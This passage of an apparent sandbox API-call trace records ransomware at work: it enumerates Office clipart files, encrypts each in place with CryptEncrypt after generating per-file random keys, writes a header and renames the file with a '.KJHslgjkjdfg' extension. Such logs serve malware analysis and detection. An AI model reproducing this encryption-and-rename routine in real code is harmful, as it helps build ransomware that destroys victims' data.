"c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.kjhslgjkjdfg")) returned 1 [0195.285] CloseHandle (hObject=0x130) returned 1 [0195.285] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0195.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.286] GetProcessHeap () returned 0x2ef0000 [0195.286] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.286] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.288] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.288] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.288] GetProcessHeap () returned 0x2ef0000 [0195.288] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.289] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.289] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.289] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x439c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x439c, lpOverlapped=0x0) returned 1 [0195.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43a0, dwBufLen=0x43a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43a0) returned 1 [0195.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.291] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x43a0, lpOverlapped=0x0) returned 1 [0195.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.291] SetEndOfFile (hFile=0x130) returned 1 [0195.294] GetProcessHeap () returned 0x2ef0000 [0195.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.294] GetProcessHeap () returned 0x2ef0000 [0195.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.kjhslgjkjdfg")) returned 1 [0195.295] CloseHandle (hObject=0x130) returned 1 [0195.295] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0195.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.297] GetProcessHeap () returned 0x2ef0000 [0195.297] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.297] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.297] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.299] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.299] GetProcessHeap () returned 0x2ef0000 [0195.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.299] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.299] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.299] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.299] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.299] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.299] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f08, lpOverlapped=0x0) returned 1 [0195.300] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f10) returned 1 [0195.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.300] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f10, lpOverlapped=0x0) returned 1 [0195.300] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.300] SetEndOfFile (hFile=0x130) returned 1 [0195.301] GetProcessHeap () returned 0x2ef0000 [0195.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.301] GetProcessHeap () returned 0x2ef0000 [0195.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.kjhslgjkjdfg")) returned 1 [0195.302] CloseHandle (hObject=0x130) returned 1 [0195.302] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0195.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.303] GetProcessHeap () returned 0x2ef0000 [0195.303] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.303] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0195.305] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.305] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.305] GetProcessHeap () returned 0x2ef0000 [0195.305] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.305] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.305] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.305] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.305] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.305] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2942, lpOverlapped=0x0) returned 1 [0195.306] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2950, dwBufLen=0x2950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2950) returned 1 [0195.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.306] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2950, lpOverlapped=0x0) returned 1 [0195.306] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.307] SetEndOfFile (hFile=0x130) returned 1 [0195.309] GetProcessHeap () returned 0x2ef0000 [0195.309] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.309] GetProcessHeap () returned 0x2ef0000 [0195.309] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.kjhslgjkjdfg")) returned 1 [0195.310] CloseHandle (hObject=0x130) returned 1 [0195.310] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0195.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.311] GetProcessHeap () returned 0x2ef0000 [0195.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.311] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.312] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.313] GetProcessHeap () returned 0x2ef0000 [0195.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.313] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.313] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.313] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.313] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.313] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.313] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12ee, lpOverlapped=0x0) returned 1 [0195.314] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12f0, dwBufLen=0x12f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12f0) returned 1 [0195.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.315] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12f0, lpOverlapped=0x0) returned 1 [0195.315] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.315] SetEndOfFile (hFile=0x130) returned 1 [0195.315] GetProcessHeap () returned 0x2ef0000 [0195.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.315] GetProcessHeap () returned 0x2ef0000 [0195.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.kjhslgjkjdfg")) returned 1 [0195.316] CloseHandle (hObject=0x130) returned 1 [0195.316] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0195.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: 